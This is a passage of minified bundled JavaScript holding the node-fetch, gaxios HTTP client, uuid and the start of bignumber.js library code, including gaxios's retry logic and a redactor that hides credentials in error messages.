OC(z.headers),follow:z.follow,counter:z.counter+1,agent:z.agent,compress:z.compress,method:z.method,body:z.body,signal:z.signal,timeout:z.timeout,size:z.size};if(!xr9(z.url,T)||!ur9(z.url,T))for(let R of["authorization","www-authenticate","cookie","cookie2"])C.headers.delete(R);if(W.statusCode!==303&&z.body&&si4(z)===null){Y(new pZ("Cannot follow redirect with body being a readable stream","unsupported-redirect")),Z();return}if(W.statusCode===303||(W.statusCode===301||W.statusCode===302)&&z.method==="POST")C.method="GET",C.body=void 0,C.headers.delete("content-length");q(Jo(new Oo(T,C))),Z();return}}W.once("end",function(){if(J)J.removeEventListener("abort",$)});let j=W.pipe(new li4),M={url:z.url,status:W.statusCode,statusText:W.statusMessage,headers:D,size:z.size,timeout:z.timeout,counter:z.counter},P=D.get("Content-Encoding");if(!z.compress||z.method==="HEAD"||P===null||W.statusCode===204||W.statusCode===304){O=new JC(j,M),q(O);return}let f={flush:S7A.Z_SYNC_FLUSH,finishFlush:S7A.Z_SYNC_FLUSH};if(P=="gzip"||P=="x-gzip"){j=j.pipe(S7A.createGunzip(f)),O=new JC(j,M),q(O);return}if(P=="deflate"||P=="x-deflate"){let N=W.pipe(new li4);N.once("data",function(T){if((T[0]&15)===8)j=j.pipe(S7A.createInflate());else j=j.pipe(S7A.createInflateRaw());O=new JC(j,M),q(O)}),N.on("end",function(){if(!O)O=new JC(j,M),q(O)});return}if(P=="br"&&typeof S7A.createBrotliDecompress==="function"){j=j.pipe(S7A.createBrotliDecompress()),O=new JC(j,M),q(O);return}O=new JC(j,M),q(O)}),Er9(_,z)})}function Br9(A,K){let q;A.on("socket",function(Y){q=Y}),A.on("response",function(Y){let z=Y.headers;if(z["transfer-encoding"]==="chunked"&&!z["content-length"])Y.once("close",function(w){if(q&&q.listenerCount("data")>0&&!w){let J=Error("Premature close");J.code="ERR_STREAM_PREMATURE_CLOSE",K(J)}})})}function YH6(A,K){if(A.destroy)A.destroy(K);else A.emit("error",K),A.end()}Jo.isRedirect=function(A){return A===301||A===302||A===303||A===307||A===308};Jo.Promise=global.Promise;ei4.exports=ny=Jo;Object.defineProperty(ny,"__esModule",{value:!0});ny.default=ny;ny.Headers=OC;ny.Request=Oo;ny.Response=JC;ny.FetchError=pZ;ny.AbortError=$_A});var Kn4=v((nNw,An4)=>{var _u=(A)=>A!==null&&typeof A==="object"&&typeof A.pipe==="function";_u.writable=(A)=>_u(A)&&A.writable!==!1&&typeof A._write==="function"&&typeof A._writableState==="object";_u.readable=(A)=>_u(A)&&A.readable!==!1&&typeof A._read==="function"&&typeof A._readableState==="object";_u.duplex=(A)=>_u.writable(A)&&_u.readable(A);_u.transform=(A)=>_u.duplex(A)&&typeof A._transform==="function";An4.exports=_u});var qn4=v((rNw,mr9)=>{mr9.exports={name:"gaxios",version:"6.7.1",description:"A simple common HTTP client specifically for Google APIs and services.",main:"build/src/index.js",types:"build/src/index.d.ts",files:["build/src"],scripts:{lint:"gts check",test:"c8 mocha build/test","presystem-test":"npm run compile","system-test":"mocha build/system-test --timeout 80000",compile:"tsc -p .",fix:"gts fix",prepare:"npm run compile",pretest:"npm run compile",webpack:"webpack","prebrowser-test":"npm run compile","browser-test":"node build/browser-test/browser-test-runner.js",docs:"compodoc src/","docs-test":"linkinator docs","predocs-test":"npm run docs","samples-test":"cd samples/ && npm link ../ && npm test && cd ../",prelint:"cd samples; npm link ../; npm install",clean:"gts clean",precompile:"gts clean"},repository:"googleapis/gaxios",keywords:["google"],engines:{node:">=14"},author:"Google, LLC",license:"Apache-2.0",devDependencies:{"@babel/plugin-proposal-private-methods":"^7.18.6","@compodoc/compodoc":"1.1.19","@types/cors":"^2.8.6","@types/express":"^4.16.1","@types/extend":"^3.0.1","@types/mocha":"^9.0.0","@types/multiparty":"0.0.36","@types/mv":"^2.1.0","@types/ncp":"^2.0.1","@types/node":"^20.0.0","@types/node-fetch":"^2.5.7","@types/sinon":"^17.0.0","@types/tmp":"0.2.6","@types/uuid":"^10.0.0","abort-controller":"^3.0.0",assert:"^2.0.0",browserify:"^17.0.0",c8:"^8.0.0",cheerio:"1.0.0-rc.10",cors:"^2.8.5",execa:"^5.0.0",express:"^4.16.4","form-data":"^4.0.0",gts:"^5.0.0","is-docker":"^2.0.0",karma:"^6.0.0","karma-chrome-launcher":"^3.0.0","karma-coverage":"^2.0.0","karma-firefox-launcher":"^2.0.0","karma-mocha":"^2.0.0","karma-remap-coverage":"^0.1.5","karma-sourcemap-loader":"^0.4.0","karma-webpack":"5.0.0",linkinator:"^3.0.0",mocha:"^8.0.0",multiparty:"^4.2.1",mv:"^2.1.1",ncp:"^2.0.0",nock:"^13.0.0","null-loader":"^4.0.0",puppeteer:"^19.0.0",sinon:"^18.0.0","stream-browserify":"^3.0.0",tmp:"0.2.3","ts-loader":"^8.0.0",typescript:"^5.1.6",webpack:"^5.35.0","webpack-cli":"^4.0.0"},dependencies:{extend:"^3.0.2","https-proxy-agent":"^7.0.1","is-stream":"^2.0.0","node-fetch":"^2.6.9",uuid:"^9.0.1"}}});var wn4=v((Yn4)=>{Object.defineProperty(Yn4,"__esModule",{value:!0});Yn4.pkg=void 0;Yn4.pkg=qn4()});var GH6=v((XC)=>{var gr9=XC&&XC.__importDefault||function(A){return A&&A.__esModule?A:{default:A}},Hn4;Object.defineProperty(XC,"__esModule",{value:!0});XC.GaxiosError=XC.GAXIOS_ERROR_SYMBOL=void 0;XC.defaultErrorRedactor=On4;var Fr9=CA("url"),$H6=wn4(),Jn4=gr9(bw6());XC.GAXIOS_ERROR_SYMBOL=Symbol.for(`${$H6.pkg.name}-gaxios-error`);class _H6 extends Error{static[(Hn4=XC.GAXIOS_ERROR_SYMBOL,Symbol.hasInstance)](A){if(A&&typeof A==="object"&&XC.GAXIOS_ERROR_SYMBOL in A&&A[XC.GAXIOS_ERROR_SYMBOL]===$H6.pkg.version)return!0;return Function.prototype[Symbol.hasInstance].call(_H6,A)}constructor(A,K,q,Y){var z;super(A);if(this.config=K,this.response=q,this.error=Y,this[Hn4]=$H6.pkg.version,this.config=(0,Jn4.default)(!0,{},K),this.response)this.response.config=(0,Jn4.default)(!0,{},this.response.config);if(this.response){try{this.response.data=Qr9(this.config.responseType,(z=this.response)===null||z===void 0?void 0:z.data)}catch(w){}this.status=this.response.status}if(Y&&"code"in Y&&Y.code)this.code=Y.code;if(K.errorRedactor)K.errorRedactor({config:this.config,response:this.response})}}XC.GaxiosError=_H6;function Qr9(A,K){switch(A){case"stream":return K;case"json":return JSON.parse(JSON.stringify(K));case"arraybuffer":return JSON.parse(Buffer.from(K).toString("utf8"));case"blob":return JSON.parse(K.text());default:return K}}function On4(A){function q(w){if(!w)return;for(let H of Object.keys(w)){if(/^authentication$/i.test(H))w[H]="<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>.";if(/^authorization$/i.test(H))w[H]="<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>.";if(/secret/i.test(H))w[H]="<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>."}}function Y(w,H){if(typeof w==="object"&&w!==null&&typeof w[H]==="string"){let J=w[H];if(/grant_type=/i.test(J)||/assertion=/i.test(J)||/secret/i.test(J))w[H]="<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>."}}function z(w){if(typeof w==="object"&&w!==null){if("grant_type"in w)w.grant_type="<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>.";if("assertion"in w)w.assertion="<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>.";if("client_secret"in w)w.client_secret="<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>."}}if(A.config){q(A.config.headers),Y(A.config,"data"),z(A.config.data),Y(A.config,"body"),z(A.config.body);try{let w=new Fr9.URL("",A.config.url);if(w.searchParams.has("token"))w.searchParams.set("token","<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>.");if(w.searchParams.has("client_secret"))w.searchParams.set("client_secret","<<REDACTED> - See `errorRedactor` option in `gaxios` for configuration>.");A.config.url=w.toString()}catch(w){}}if(A.response)On4({config:A.response.config}),q(A.response.headers),Y(A.response,"data"),z(A.response.data);return A}});var _n4=v(($n4)=>{Object.defineProperty($n4,"__esModule",{value:!0});$n4.getRetryConfig=Ur9;async function Ur9(A){let K=Xn4(A);if(!A||!A.config||!K&&!A.config.retry)return{shouldRetry:!1};K=K||{},K.currentRetryAttempt=K.currentRetryAttempt||0,K.retry=K.retry===void 0||K.retry===null?3:K.retry,K.httpMethodsToRetry=K.httpMethodsToRetry||["GET","HEAD","PUT","OPTIONS","DELETE"],K.noResponseRetries=K.noResponseRetries===void 0||K.noResponseRetries===null?2:K.noResponseRetries,K.retryDelayMultiplier=K.retryDelayMultiplier?K.retryDelayMultiplier:2,K.timeOfFirstRequest=K.timeOfFirstRequest?K.timeOfFirstRequest:Date.now(),K.totalTimeout=K.totalTimeout?K.totalTimeout:Number.MAX_SAFE_INTEGER,K.maxRetryDelay=K.maxRetryDelay?K.maxRetryDelay:Number.MAX_SAFE_INTEGER;let q=[[100,199],[408,408],[429,429],[500,599]];if(K.statusCodesToRetry=K.statusCodesToRetry||q,A.config.retryConfig=K,!await(K.shouldRetry||pr9)(A))return{shouldRetry:!1,config:A.config};let z=dr9(K);A.config.retryConfig.currentRetryAttempt+=1;let w=K.retryBackoff?K.retryBackoff(A,z):new Promise((H)=>{setTimeout(H,z)});if(K.onRetryAttempt)K.onRetryAttempt(A);return await w,{shouldRetry:!0,config:A.config}}function pr9(A){var K;let q=Xn4(A);if(A.name==="AbortError"||((K=A.error)===null||K===void 0?void 0:K.name)==="AbortError")return!1;if(!q||q.retry===0)return!1;if(!A.response&&(q.currentRetryAttempt||0)>=q.noResponseRetries)return!1;if(!A.config.method||q.httpMethodsToRetry.indexOf(A.config.method.toUpperCase())<0)return!1;if(A.response&&A.response.status){let Y=!1;for(let[z,w]of q.statusCodesToRetry){let H=A.response.status;if(H>=z&&H<=w){Y=!0;break}}if(!Y)return!1}if(q.currentRetryAttempt=q.currentRetryAttempt||0,q.currentRetryAttempt>=q.retry)return!1;return!0}function Xn4(A){if(A&&A.config&&A.config.retryConfig)return A.config.retryConfig;return}function dr9(A){var K;let Y=(A.currentRetryAttempt?0:(K=A.retryDelay)!==null&&K!==void 0?K:100)+(Math.pow(A.retryDelayMultiplier,A.currentRetryAttempt)-1)/2*1000,z=A.totalTimeout-(Date.now()-A.timeOfFirstRequest);return Math.min(Y,z,A.maxRetryDelay)}});var ZH6=v((Gn4)=>{Object.defineProperty(Gn4,"__esModule",{value:!0});Gn4.default=nr9;var lr9=ir9(CA("crypto"));function ir9(A){return A&&A.__esModule?A:{default:A}}var Qz1=new Uint8Array(256),Fz1=Qz1.length;function nr9(){if(Fz1>Qz1.length-16)lr9.default.randomFillSync(Qz1),Fz1=0;return Qz1.slice(Fz1,Fz1+=16)}});var Dn4=v((Zn4)=>{Object.defineProperty(Zn4,"__esModule",{value:!0});Zn4.default=void 0;var or9=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;Zn4.default=or9});var whA=v((jn4)=>{Object.defineProperty(jn4,"__esModule",{value:!0});jn4.default=void 0;var ar9=sr9(Dn4());function sr9(A){return A&&A.__esModule?A:{default:A}}function tr9(A){return typeof A==="string"&&ar9.default.test(A)}var er9=tr9;jn4.default=er9});var HhA=v((Vn4)=>{Object.defineProperty(Vn4,"__esModule",{value:!0});Vn4.default=void 0;Vn4.unsafeStringify=Pn4;var Ao9=Ko9(whA());function Ko9(A){return A&&A.__esModule?A:{default:A}}var dZ=[];for(let A=0;A<256;++A)dZ.push((A+256).toString(16).slice(1));function Pn4(A,K=0){return dZ[A[K+0]]+dZ[A[K+1]]+dZ[A[K+2]]+dZ[A[K+3]]+"-"+dZ[A[K+4]]+dZ[A[K+5]]+"-"+dZ[A[K+6]]+dZ[A[K+7]]+"-"+dZ[A[K+8]]+dZ[A[K+9]]+"-"+dZ[A[K+10]]+dZ[A[K+11]]+dZ[A[K+12]]+dZ[A[K+13]]+dZ[A[K+14]]+dZ[A[K+15]]}function qo9(A,K=0){let q=Pn4(A,K);if(!(0,Ao9.default)(q))throw TypeError("Stringified UUID is invalid");return q}var Yo9=qo9;Vn4.default=Yo9});var En4=v((Tn4)=>{Object.defineProperty(Tn4,"__esModule",{value:!0});Tn4.default=void 0;var wo9=Jo9(ZH6()),Ho9=HhA();function Jo9(A){return A&&A.__esModule?A:{default:A}}var Nn4,WH6,DH6=0,jH6=0;function Oo9(A,K,q){let Y=K&&q||0,z=K||Array(16);A=A||{};let w=A.node||Nn4,H=A.clockseq!==void 0?A.clockseq:WH6;if(w==null||H==null){let G=A.random||(A.rng||wo9.default)();if(w==null)w=Nn4=[G[0]|1,G[1],G[2],G[3],G[4],G[5]];if(H==null)H=WH6=(G[6]<<8|G[7])&16383}let J=A.msecs!==void 0?A.msecs:Date.now(),O=A.nsecs!==void 0?A.nsecs:jH6+1,X=J-DH6+(O-jH6)/1e4;if(X<0&&A.clockseq===void 0)H=H+1&16383;if((X<0||J>DH6)&&A.nsecs===void 0)O=0;if(O>=1e4)throw Error("uuid.v1(): Can't create more than 10M uuids/sec");DH6=J,jH6=O,WH6=H,J+=12219292800000;let $=((J&268435455)*1e4+O)%4294967296;z[Y++]=$>>>24&255,z[Y++]=$>>>16&255,z[Y++]=$>>>8&255,z[Y++]=$&255;let _=J/4294967296*1e4&268435455;z[Y++]=_>>>8&255,z[Y++]=_&255,z[Y++]=_>>>24&15|16,z[Y++]=_>>>16&255,z[Y++]=H>>>8|128,z[Y++]=H&255;for(let G=0;G<6;++G)z[Y+G]=w[G];return K||(0,Ho9.unsafeStringify)(z)}var Xo9=Oo9;Tn4.default=Xo9});var MH6=v((kn4)=>{Object.defineProperty(kn4,"__esModule",{value:!0});kn4.default=void 0;var $o9=_o9(whA());function _o9(A){return A&&A.__esModule?A:{default:A}}function Go9(A){if(!(0,$o9.default)(A))throw TypeError("Invalid UUID");let K,q=new Uint8Array(16);return q[0]=(K=parseInt(A.slice(0,8),16))>>>24,q[1]=K>>>16&255,q[2]=K>>>8&255,q[3]=K&255,q[4]=(K=parseInt(A.slice(9,13),16))>>>8,q[5]=K&255,q[6]=(K=parseInt(A.slice(14,18),16))>>>8,q[7]=K&255,q[8]=(K=parseInt(A.slice(19,23),16))>>>8,q[9]=K&255,q[10]=(K=parseInt(A.slice(24,36),16))/1099511627776&255,q[11]=K/4294967296&255,q[12]=K>>>24&255,q[13]=K>>>16&255,q[14]=K>>>8&255,q[15]=K&255,q}var Zo9=Go9;kn4.default=Zo9});var PH6=v((yn4)=>{Object.defineProperty(yn4,"__esModule",{value:!0});yn4.URL=yn4.DNS=void 0;yn4.default=Po9;var Wo9=HhA(),Do9=jo9(MH6());function jo9(A){return A&&A.__esModule?A:{default:A}}function Mo9(A){A=unescape(encodeURIComponent(A));let K=[];for(let q=0;q<A.length;++q)K.push(A.charCodeAt(q));return K}var Ln4="6ba7b810-9dad-11d1-80b4-00c04fd430c8";yn4.DNS=Ln4;var Rn4="6ba7b811-9dad-11d1-80b4-00c04fd430c8";yn4.URL=Rn4;function Po9(A,K,q){function Y(z,w,H,J){var O;if(typeof z==="string")z=Mo9(z);if(typeof w==="string")w=(0,Do9.default)(w);if(((O=w)===null||O===void 0?void 0:O.length)!==16)throw TypeError("Namespace must be array-like (16 iterable integer values, 0-255)");let X=new Uint8Array(16+z.length);if(X.set(w),X.set(z,w.length),X=q(X),X[6]=X[6]&15|K,X[8]=X[8]&63|128,H){J=J||0;for(let $=0;$<16;++$)H[J+$]=X[$];return H}return(0,Wo9.unsafeStringify)(X)}try{Y.name=A}catch(z){}return Y.DNS=Ln4,Y.URL=Rn4,Y}});var bn4=v((Sn4)=>{Object.defineProperty(Sn4,"__esModule",{value:!0});Sn4.default=void 0;var No9=To9(CA("crypto"));function To9(A){return A&&A.__esModule?A:{default:A}}function vo9(A){if(Array.isArray(A))A=Buffer.from(A);else if(typeof A==="string")A=Buffer.from(A,"utf8");return No9.default.createHash("md5").update(A).digest()}var Eo9=vo9;Sn4.default=Eo9});var mn4=v((un4)=>{Object.defineProperty(un4,"__esModule",{value:!0});un4.default=void 0;var ko9=xn4(PH6()),Co9=xn4(bn4());function xn4(A){return A&&A.__esModule?A:{default:A}}var Lo9=(0,ko9.default)("v3",48,Co9.default),Ro9=Lo9;un4.default=Ro9});var Qn4=v((gn4)=>{Object.defineProperty(gn4,"__esModule",{value:!0});gn4.default=void 0;var yo9=Io9(CA("crypto"));function Io9(A){return A&&A.__esModule?A:{default:A}}var So9={randomUUID:yo9.default.randomUUID};gn4.default=So9});var ln4=v((dn4)=>{Object.defineProperty(dn4,"__esModule",{value:!0});dn4.default=void 0;var Un4=pn4(Qn4()),ho9=pn4(ZH6()),bo9=HhA();function pn4(A){return A&&A.__esModule?A:{default:A}}function xo9(A,K,q){if(Un4.default.randomUUID&&!K&&!A)return Un4.default.randomUUID();A=A||{};let Y=A.random||(A.rng||ho9.default)();if(Y[6]=Y[6]&15|64,Y[8]=Y[8]&63|128,K){q=q||0;for(let z=0;z<16;++z)K[q+z]=Y[z];return K}return(0,bo9.unsafeStringify)(Y)}var uo9=xo9;dn4.default=uo9});var rn4=v((in4)=>{Object.defineProperty(in4,"__esModule",{value:!0});in4.default=void 0;var Bo9=mo9(CA("crypto"));function mo9(A){return A&&A.__esModule?A:{default:A}}function go9(A){if(Array.isArray(A))A=Buffer.from(A);else if(typeof A==="string")A=Buffer.from(A,"utf8");return Bo9.default.createHash("sha1").update(A).digest()}var Fo9=go9;in4.default=Fo9});var tn4=v((an4)=>{Object.defineProperty(an4,"__esModule",{value:!0});an4.default=void 0;var Qo9=on4(PH6()),Uo9=on4(rn4());function on4(A){return A&&A.__esModule?A:{default:A}}var po9=(0,Qo9.default)("v5",80,Uo9.default),do9=po9;an4.default=do9});var Kr4=v((en4)=>{Object.defineProperty(en4,"__esModule",{value:!0});en4.default=void 0;var co9="00000000-0000-0000-0000-000000000000";en4.default=co9});var zr4=v((qr4)=>{Object.defineProperty(qr4,"__esModule",{value:!0});qr4.default=void 0;var lo9=io9(whA());function io9(A){return A&&A.__esModule?A:{default:A}}function no9(A){if(!(0,lo9.default)(A))throw TypeError("Invalid UUID");return parseInt(A.slice(14,15),16)}var ro9=no9;qr4.default=ro9});var wr4=v((ry)=>{Object.defineProperty(ry,"__esModule",{value:!0});Object.defineProperty(ry,"NIL",{enumerable:!0,get:function(){return eo9.default}});Object.defineProperty(ry,"parse",{enumerable:!0,get:function(){return Ya9.default}});Object.defineProperty(ry,"stringify",{enumerable:!0,get:function(){return qa9.default}});Object.defineProperty(ry,"v1",{enumerable:!0,get:function(){return oo9.default}});Object.defineProperty(ry,"v3",{enumerable:!0,get:function(){return ao9.default}});Object.defineProperty(ry,"v4",{enumerable:!0,get:function(){return so9.default}});Object.defineProperty(ry,"v5",{enumerable:!0,get:function(){return to9.default}});Object.defineProperty(ry,"validate",{enumerable:!0,get:function(){return Ka9.default}});Object.defineProperty(ry,"version",{enumerable:!0,get:function(){return Aa9.default}});var oo9=GU(En4()),ao9=GU(mn4()),so9=GU(ln4()),to9=GU(tn4()),eo9=GU(Kr4()),Aa9=GU(zr4()),Ka9=GU(whA()),qa9=GU(HhA()),Ya9=GU(MH6());function GU(A){return A&&A.__esModule?A:{default:A}}});var VH6=v((Jr4)=>{Object.defineProperty(Jr4,"__esModule",{value:!0});Jr4.GaxiosInterceptorManager=void 0;class Hr4 extends Set{}Jr4.GaxiosInterceptorManager=Hr4});var Vr4=v((BD)=>{var za9=BD&&BD.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),wa9=BD&&BD.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),Ha9=BD&&BD.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))za9(K,A,q)}return wa9(K,A),K},b7A=BD&&BD.__classPrivateFieldGet||function(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)},Ja9=BD&&BD.__classPrivateFieldSet||function(A,K,q,Y,z){if(Y==="m")throw TypeError("Private method is not writable");if(Y==="a"&&!z)throw TypeError("Private accessor was defined without a setter");if(typeof K==="function"?A!==K||!z:!K.has(A))throw TypeError("Cannot write private member to an object whose class did not declare it");return Y==="a"?z.call(A,q):z?z.value=q:K.set(A,q),q},dz1=BD&&BD.__importDefault||function(A){return A&&A.__esModule?A:{default:A}},G_A,h7A,Xr4,Dr4,jr4,Mr4,Uz1,$r4;Object.defineProperty(BD,"__esModule",{value:!0});BD.Gaxios=void 0;var Oa9=dz1(bw6()),Xa9=CA("https"),$a9=dz1(XH6()),_a9=dz1(CA("querystring")),Ga9=dz1(Kn4()),_r4=CA("url"),pz1=GH6(),Za9=_n4(),Gr4=CA("stream"),Wa9=wr4(),Zr4=VH6(),Da9=Ma9()?window.fetch:$a9.default;function ja9(){return typeof window<"u"&&!!window}function Ma9(){return ja9()&&!!window.fetch}function Pa9(){return typeof Buffer<"u"}function Wr4(A,K){return!!Pr4(A,K)}function Pr4(A,K){K=K.toLowerCase();for(let q of Object.keys((A===null||A===void 0?void 0:A.headers)||{}))if(K===q.toLowerCase())return A.headers[q];return}class fH6{constructor(A){G_A.add(this),this.agentCache=new Map,this.defaults=A||{},this.interceptors={request:new Zr4.GaxiosInterceptorManager,response:new Zr4.GaxiosInterceptorManager}}async request(A={}){return A=await b7A(this,G_A,"m",Mr4).call(this,A),A=await b7A(this,G_A,"m",Dr4).call(this,A),b7A(this,G_A,"m",jr4).call(this,this._request(A))}async _defaultAdapter(A){let q=await(A.fetchImplementation||Da9)(A.url,A),Y=await this.getResponseData(A,q);return this.translateResponse(A,q,Y)}async _request(A={}){var K;try{let q;if(A.adapter)q=await A.adapter(A,this._defaultAdapter.bind(this));else q=await this._defaultAdapter(A);if(!A.validateStatus(q.status)){if(A.responseType==="stream"){let Y="";await new Promise((z)=>{(q===null||q===void 0?void 0:q.data).on("data",(w)=>{Y+=w}),(q===null||q===void 0?void 0:q.data).on("end",z)}),q.data=Y}throw new pz1.GaxiosError(`Request failed with status code ${q.status}`,A,q)}return q}catch(q){let Y=q instanceof pz1.GaxiosError?q:new pz1.GaxiosError(q.message,A,void 0,q),{shouldRetry:z,config:w}=await(0,Za9.getRetryConfig)(Y);if(z&&w)return Y.config.retryConfig.currentRetryAttempt=w.retryConfig.currentRetryAttempt,A.retryConfig=(K=Y.config)===null||K===void 0?void 0:K.retryConfig,this._request(A);throw Y}}async getResponseData(A,K){switch(A.responseType){case"stream":return K.body;case"json":{let q=await K.text();try{q=JSON.parse(q)}catch(Y){}return q}case"arraybuffer":return K.arrayBuffer();case"blob":return K.blob();case"text":return K.text();default:return this.getResponseDataFromContentType(K)}}validateStatus(A){return A>=200&&A<300}paramsSerializer(A){return _a9.default.stringify(A)}translateResponse(A,K,q){let Y={};return K.headers.forEach((z,w)=>{Y[w]=z}),{config:A,data:q,headers:Y,status:K.status,statusText:K.statusText,request:{responseURL:K.url}}}async getResponseDataFromContentType(A){let K=A.headers.get("Content-Type");if(K===null)return A.text();if(K=K.toLowerCase(),K.includes("application/json")){let q=await A.text();try{q=JSON.parse(q)}catch(Y){}return q}else if(K.match(/^text\//))return A.text();else return A.blob()}async*getMultipartRequest(A,K){let q=`--${K}--`;for(let Y of A){let z=Y.headers["Content-Type"]||"application/octet-stream";if(yield`--${K}\r Content-Type: ${z}\r \r `,typeof Y.content==="string")yield Y.content;else yield*Y.content;yield`\r `}yield q}}BD.Gaxios=fH6;h7A=fH6,G_A=new WeakSet,Xr4=function(K,q=[]){var Y,z;let w=new _r4.URL(K),H=[...q],J=((z=(Y=process.env.NO_PROXY)!==null&&Y!==void 0?Y:process.env.no_proxy)===null||z===void 0?void 0:z.split(","))||[];for(let O of J)H.push(O.trim());for(let O of H)if(O instanceof RegExp){if(O.test(w.toString()))return!1}else if(O instanceof _r4.URL){if(O.origin===w.origin)return!1}else if(O.startsWith("*.")||O.startsWith(".")){let X=O.replace(/^\*\./,".");if(w.hostname.endsWith(X))return!1}else if(O===w.origin||O===w.hostname||O===w.href)return!1;return!0},Dr4=async function(K){let q=Promise.resolve(K);for(let Y of this.interceptors.request.values())if(Y)q=q.then(Y.resolved,Y.rejected);return q},jr4=async function(K){let q=Promise.resolve(K);for(let Y of this.interceptors.response.values())if(Y)q=q.then(Y.resolved,Y.rejected);return q},Mr4=async function(K){var q,Y,z,w;let H=(0,Oa9.default)(!0,{},this.defaults,K);if(!H.url)throw Error("URL is required.");let J=H.baseUrl||H.baseURL;if(J)H.url=J.toString()+H.url;if(H.paramsSerializer=H.paramsSerializer||this.paramsSerializer,H.params&&Object.keys(H.params).length>0){let $=H.paramsSerializer(H.params);if($.startsWith("?"))$=$.slice(1);let _=H.url.toString().includes("?")?"&":"?";H.url=H.url+_+$}if(typeof K.maxContentLength==="number")H.size=K.maxContentLength;if(typeof K.maxRedirects==="number")H.follow=K.maxRedirects;if(H.headers=H.headers||{},H.multipart===void 0&&H.data){let $=typeof FormData>"u"?!1:(H===null||H===void 0?void 0:H.data)instanceof FormData;if(Ga9.default.readable(H.data))H.body=H.data;else if(Pa9()&&Buffer.isBuffer(H.data)){if(H.body=H.data,!Wr4(H,"Content-Type"))H.headers["Content-Type"]="application/json"}else if(typeof H.data==="object"){if(!$)if(Pr4(H,"content-type")==="application/x-www-form-urlencoded")H.body=H.paramsSerializer(H.data);else{if(!Wr4(H,"Content-Type"))H.headers["Content-Type"]="application/json";H.body=JSON.stringify(H.data)}}else H.body=H.data}else if(H.multipart&&H.multipart.length>0){let $=(0,Wa9.v4)();H.headers["Content-Type"]=`multipart/related; boundary=${$}`;let _=new Gr4.PassThrough;H.body=_,(0,Gr4.pipeline)(this.getMultipartRequest(H.multipart,$),_,()=>{})}if(H.validateStatus=H.validateStatus||this.validateStatus,H.responseType=H.responseType||"unknown",!H.headers.Accept&&H.responseType==="json")H.headers.Accept="application/json";H.method=H.method||"GET";let O=H.proxy||((q=process===null||process===void 0?void 0:process.env)===null||q===void 0?void 0:q.HTTPS_PROXY)||((Y=process===null||process===void 0?void 0:process.env)===null||Y===void 0?void 0:Y.https_proxy)||((z=process===null||process===void 0?void 0:process.env)===null||z===void 0?void 0:z.HTTP_PROXY)||((w=process===null||process===void 0?void 0:process.env)===null||w===void 0?void 0:w.http_proxy),X=b7A(this,G_A,"m",Xr4).call(this,H.url,H.noProxy);if(H.agent);else if(O&&X){let $=await b7A(h7A,h7A,"m",$r4).call(h7A);if(this.agentCache.has(O))H.agent=this.agentCache.get(O);else H.agent=new $(O,{cert:H.cert,key:H.key}),this.agentCache.set(O,H.agent)}else if(H.cert&&H.key)if(this.agentCache.has(H.key))H.agent=this.agentCache.get(H.key);else H.agent=new Xa9.Agent({cert:H.cert,key:H.key}),this.agentCache.set(H.key,H.agent);if(typeof H.errorRedactor!=="function"&&H.errorRedactor!==!1)H.errorRedactor=pz1.defaultErrorRedactor;return H},$r4=async function(){return Ja9(this,h7A,b7A(this,h7A,"f",Uz1)||(await Promise.resolve().then(()=>Ha9(KRA()))).HttpsProxyAgent,"f",Uz1),b7A(this,h7A,"f",Uz1)};Uz1={value:void 0}});var oy=v((fM)=>{var Va9=fM&&fM.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),fa9=fM&&fM.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))Va9(K,A,q)};Object.defineProperty(fM,"__esModule",{value:!0});fM.instance=fM.Gaxios=fM.GaxiosError=void 0;fM.request=Ta9;var fr4=Vr4();Object.defineProperty(fM,"Gaxios",{enumerable:!0,get:function(){return fr4.Gaxios}});var Na9=GH6();Object.defineProperty(fM,"GaxiosError",{enumerable:!0,get:function(){return Na9.GaxiosError}});fa9(VH6(),fM);fM.instance=new fr4.Gaxios;async function Ta9(A){return fM.instance.request(A)}});var NH6=v((Nr4,cz1)=>{(function(A){var K,q=/^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i,Y=Math.ceil,z=Math.floor,w="[BigNumber Error] ",H=w+"Number primitive has more than 15 significant digits: ",J=100000000000000,O=14,X=9007199254740991,$=[1,10,100,1000,1e4,1e5,1e6,1e7,1e8,1e9,10000000000,100000000000,1000000000000,10000000000000],_=1e7,G=1e9;function Z(T){var C,R,x,y=a.prototype={constructor:a,toString:null,valueOf:null},B=new a(1),b=20,F=4,Q=-7,u=21,d=-1e7,r=1e7,c=!1,YA=1,e=0,qA={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:" ",suffix:""},HA="0123456789abcdefghijklmnopqrstuvwxyz",_A=!0;function a(AA,wA){var 